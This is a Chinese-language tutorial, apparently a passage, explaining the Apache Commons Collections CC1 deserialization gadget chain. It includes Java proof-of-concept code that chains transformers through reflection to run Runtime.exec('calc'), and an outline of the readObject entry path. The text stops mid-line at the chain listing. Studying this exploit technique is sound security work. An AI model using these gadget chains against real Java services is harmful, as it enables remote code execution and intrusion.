一、漏洞原理
1.transform
在org/apache/commons/collections/functors/InvokerTransformer#transform中存在一段利用反射技术执行任意代码的代码,这就是CC链的核心,我们后续利用CC链攻击的时候实际上就是想方设法构造链条让程序去执行这个transform方法,给它传入一个恶意类,它就可以通过它本身其中的反射技术去执行这个恶意类。例如,传入的是Runtime对象时,就可以执行任意系统命令。
2. InvokerTransformer
InvokerTransformer需要三个参数,分别是方法名,参数类型,参数。
InvokerTransformer的transform方法是通过反射去执行InvokerTransformer传入的方法和参数。
源码如下:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
InvocationTargetException ex = var6;
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
RCE例子
import org.apache.commons.collections.functors.InvokerTransformer;
public class Main {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());
System.out.println("Hello world!");
}
}
执行结果:RCE执行

3.ChainedTransformer
ChainedTranformer需要一个参数,就是transformers,它是一个可以存放多个transformer的数组
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
ChainedTransformer的transform方法接收的参数是一个object类,它去遍历ChainedTransformer接收的transformers数组中的每一个transformer的transform方法,并将传入的object作为transform的参数去执行。
简而言之,ChainedTranformer可以存放多个transformer,它的transform可以执行多个的transformer的transform。它俩就像别的transformer和transform的执行数组一样。
还有一个非常重要的点:每次循环获得的object会当做参数传给下一个transform(),也就是数组中的transformer是有前后联系的,不是单独的。
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
RCE实例
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"} ),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Runtime runtime = Runtime.getRuntime();
//ChainedTransformer.transform会把runtime作为InvokerTransformer.transform的参数去执行
chainedTransformer.transform(runtime);
}
执行结果

4.ConstantTransformer
它比较简单,ConstantTransformer接收的参数是一个object对象,它的transform就是直接将这个类返回,虽然它也会接收一个object,但是无论这个object类型的input是什么对象,它都只会返回ConstantTransformer接收的那个object。
源码如下:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
示例代码:
public static void main(String[] args) {
ConstantTransformer constantTransformer = new ConstantTransformer("Runtime");
Object runtime = constantTransformer.transform(null);
System.out.println(runtime);
}
执行结果如下:可以看到直接返回了Runtime对象。

5.总结
ConstantTransformer就是用来获取类对象的。
InvokerTransformer就是用来执行方法的。
ChainedTransformer就是用来链式执行多个transformer.transform的。
6.综合利用
利用ConstantTransformer获取Runtime类对象,然后利用ChainedTransformer链式执行包含InvokerTransformer的多个transformer.transform,最终通过反射机制达到RCE的目的。
源码如下:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //获得Runtime类
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime",new Class[0]} ), //获得getRuntime
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null,new Object[0]}), //getRuntime.invoke(Runtime)
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}) //getRuntime.exec("calc")
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
执行结果:
这里在写代码时遇到个小坑,就是在给InvokerTransformer传入参数时,第二个参数(参数类型)和第三个参数(参数内容),要与第一个参数(方法名)的所需参数个数相匹配,不能省略,要写全了,不然无法执行。

二、漏洞触发
有了能够执行任意代码的利用点,还需要一个反序列化的触发点,也就是调用某个类的readObject方法。当某个类的readObject方法可以通过一定的代码逻辑到达漏洞的利用点时,就可以利用它进行漏洞的触发。
1.sink执行点
作用:触发RCE执行
CC链主要的触发点就是下面三个类的transform方法
ChainedTransformer#transform()
ConstantTransformer#transform()
InvokerTransformer#transform()
2.寻找gadget调用链
作用:调用链实现承上启下
一直寻找到被readObject调用的函数为止
TransfotmedMap#checkSetValue
MapEntry#setValue
3.寻找Source入口点
作用:入口点重写方法调用
AnnotationInvocationHandler#readObject()#setValue
ObjectInputStream#readObject()
三、CC链分别所需的条件
链子 CC版本 JDK版本
CC1 Apache Commons Collections 3.2.1 JDK 8u71之前的版本
InvokerTransformer.transform-->TransformedMap.checkSetValue-->